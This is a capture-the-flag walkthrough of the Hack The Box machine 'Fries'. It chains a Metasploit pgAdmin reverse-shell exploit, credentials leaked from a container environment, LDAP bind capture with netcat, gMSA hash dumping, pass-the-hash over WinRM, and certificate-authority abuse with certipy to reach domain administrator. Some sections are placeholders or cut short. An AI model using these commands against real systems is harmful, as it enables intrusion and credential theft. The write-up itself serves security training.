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[ writeup · case #019 ]

Fries

Provided credentials log into a pgAdmin 9.1.0 instance vulnerable to authenticated RCE (Metasploit pgadmin_query_tool_authenticated), yielding a shell as pgadmin. The container environment leaks PGADMIN_DEFAULT_PASSWORD, which is reused for SSH as svc. Privilege escalation captures an LDAP bind…

date
2025-11-22
read
1 min
tags
#htb #retired
platform
htb
os
windows
difficulty
hard

Summary


Enumeration

Port Scan

bash
rustscan --range 1-65535 -a <target> -- -A
text
22/tcp    open  ssh           syn-ack ttl 62  OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 [REDACTED:IP][REDACTED:IP]:c2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLS2jzf8Eqy8cVa20hyZcem8rwAzeRhrMNEGdSUcFmv1FiQsfR4F9vZYkmfKViGIS3uL3X/6sJjzGxT1F/uPm/U=
|   256 [REDACTED:IP][REDACTED:IP]:cd (ED25519)
|_ssh-ed25519 [REDACTED:KEY]
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 62  nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Welcome to Fries - Fries Restaurant
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-04-14 21:19:17Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fries.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-14T21:21:06+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA/domainComponent=fries
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after:  2105-11-18T05:39:19
| MD5:     2410 a18d 14b3 7f5d 8e34 d144 0bac 6469
| SHA-1:   3e84 1436 bb47 6ccd f5ee f805 cacd 47b6 6485 7e09
| SHA-256: 11e5 64a5 9c40 cb95 6dd0 19ab d2bc 8a6f 9773 1138 bab8 e290 c1e9 7cba ea6b 7454
| -----BEGIN CERTIFICATE-----
| [REDACTED:KEY]
| ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRUwEwYKCZImiZPyLGQBGRYFZnJpZXMx
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| BAMCBaAwQAYJKwYBBAGCNxUKBDMwMTAKBggrBgEFBQcDAjAKBggrBgEFBQcDATAM
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
| [REDACTED:KEY]
|_-----END CERTIFICATE-----
443/tcp   open  ssl/http      syn-ack ttl 62  nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| ssl-cert: Subject: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP/organizationalUnitName=PWM Configuration/emailAddress=[REDACTED:EMAIL]/localityName=Madrid
| Issuer: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP/organizationalUnitName=PWM Configuration/emailAddress=[REDACTED:EMAIL]/localityName=Madrid
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-01T22:06:09
| Not valid after:  2026-06-01T22:06:09
| MD5:     118d ea17 3fba 3b65 28de 8e26 33e7 19f2
| SHA-1:   5503 8aa8 0080 a853 ca73 87e3 b705 3fe8 b599 a855
| SHA-256: e645 33d9 d4b9 73b7 d46c 5fe1 aabc 4328 f458 d6df 2fc0 b92a 89a4 faf0 54c0 811d
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-favicon: Unknown favicon MD5: [REDACTED:HASH]
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
| tls-nextprotoneg: 
|_  http/1.1
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fries.htb, Site: Default-First

2179/tcp  open  vmrdp?        syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fries.htb, Site: Default-First

Key findings:

  • Port xx — service — why it's interesting

Web / Service Enumeration

bash
❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -u http://fries.htb \
  -H "Host: FUZZ.fries.htb" \
  -k -fr 302 -fs 14954

code                    [Status: 200, Size: 13593, Words: 1048, Lines: 272, Duration: 262ms]

looks like we have git tea on that vhost screenshot 1 (opens the full-size image) let's try and login with the creds they provided at first since they weren't any useful in any other service looks like in his initial commit he commited some sensitive information screenshot 2 (opens the full-size image)

bash
root:[REDACTED:CRED]@[REDACTED:IP]:5432
SECRET_KEY=[REDACTED:CRED]
bash
http://db-mgmt05.fries.htb

screenshot 4 (opens the full-size image) version was probably 9.1.0 screenshot 5 (opens the full-size image)

  • credential provided from the start worked as well in here
bash
[REDACTED:EMAIL]:[REDACTED:CRED]

for this and using the previous creds we'll use metasploit framework

bash
msfconsole -q
use exploit/multi/http/pgadmin_query_tool_authenticated
set RHOSTS db-mgmt05.fries.htb
set RPORT 80
set USERNAME [REDACTED:EMAIL]
set PASSWORD [REDACTED:CRED]
set DB_USER root
set DB_PASS [REDACTED:CRED]
set DB_NAME ps_db
set LHOST <your_tun0_ip>
set LPORT 4444
run
bash
msf exploit(multi/http/pgadmin_query_tool_authenticated) > run
[*] Started reverse TCP handler on [REDACTED:IP]:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. pgAdmin version 9.1.0 is affected
[+] Successfully authenticated to pgAdmin
[+] Successfully initialized sqleditor
[*] Exploiting the target...

and then we just go ahead an spawn a shell

text
meterpreter > shell
Process 75 created.
Channel 1 created.
id
uid=5050(pgadmin) gid=0(root) groups=0(root)

a plain text password was sitting in the env

bash
cb46692a4590:/pgadmin4/migrations$ env
env
PGADMIN_DEFAULT_PASSWORD=[REDACTED:CRED]
PGAPPNAME=pgAdmin 4 - CONN:899729
HOSTNAME=cb46692a4590
SERVER_SOFTWARE=gunicorn/22.0.0
PWD=/pgadmin4/migrations
CONFIG_DISTRO_FILE_PATH=/pgadmin4/config_distro.py
HOME=/home/light
OAUTHLIB_INSECURE_TRANSPORT=1
PYTHONPATH=/pgadmin4
TERM=xterm
SHLVL=4
PGADMIN_DEFAULT_EMAIL=[REDACTED:EMAIL]
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/env
OLDPWD=/pgadmin4

we only need the user's name now so we can probably go for ssh?

bash
ssh svc@<box_ip> # password: [REDACTED:CRED]
bash
❯ sudo nc -nlvkp 389 | tee ldap_capture.txt
listening on [any] 389 ...
connect to [[REDACTED:IP]] from (UNKNOWN) [[REDACTED:IP]] 49894
0A`<%CN=svc_infra,CN=Users,DC=fries,DC=htb�[REDACTED:CRED]
bash
❯ fkt nxc ldap [REDACTED:IP] -u svc_infra -p '[REDACTED:CRED]' -d fries.htb --gmsa
LDAP        [REDACTED:IP]   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) (signing:None) (channel binding:Never)
LDAP        [REDACTED:IP]   389    DC01             [+] fries.htb\svc_infra:[REDACTED:CRED] 
LDAP        [REDACTED:IP]   389    DC01             [*] Getting GMSA Passwords
LDAP        [REDACTED:IP]   389    DC01             Account: gMSA_CA_prod$        NTLM: [REDACTED:HASH]     PrincipalsAllowedToReadPassword: svc_infra     
bash
❯ nxc winrm [REDACTED:IP] -u 'gMSA_CA_prod$' -H '[REDACTED:HASH]' -d fries.htb
WINRM       [REDACTED:IP]   5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb) 
WINRM       [REDACTED:IP]   5985   DC01             [+] fries.htb\gMSA_CA_prod$:[REDACTED:HASH] (Pwn3d!)
bash
$currentFlags = $ca.GetConfigEntry($config,"PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "EditFlags")
$ca.SetConfigEntry($config,"PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "EditFlags", $newFlags)
bash
❯ certipy-ad req -u svc_infra -p '[REDACTED:CRED]' -dc-ip [REDACTED:IP] \
 -target [REDACTED:IP] -ca 'fries-DC01-CA' -template User \
 -upn [REDACTED:EMAIL]
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 42
[*] Successfully requested certificate
[*] Got certificate with UPN '[REDACTED:EMAIL]'
[*] Certificate object SID is 'S-1-5-21-858338346-3861030516-3975240472-3601'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

❯ fkt certipy-ad ca -u 'gMSA_CA_prod$' -hashes ':[REDACTED:HASH]' \
 -dc-ip [REDACTED:IP] -target [REDACTED:IP] -ca 'fries-DC01-CA' \
 -add-officer 'gMSA_CA_prod$'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'gMSA_CA_prod$' on 'fries-DC01-CA'

*Evil-WinRM* PS /home/light\Desktop> whoami
fries\administrator

Root Flag

bash
cat /home/light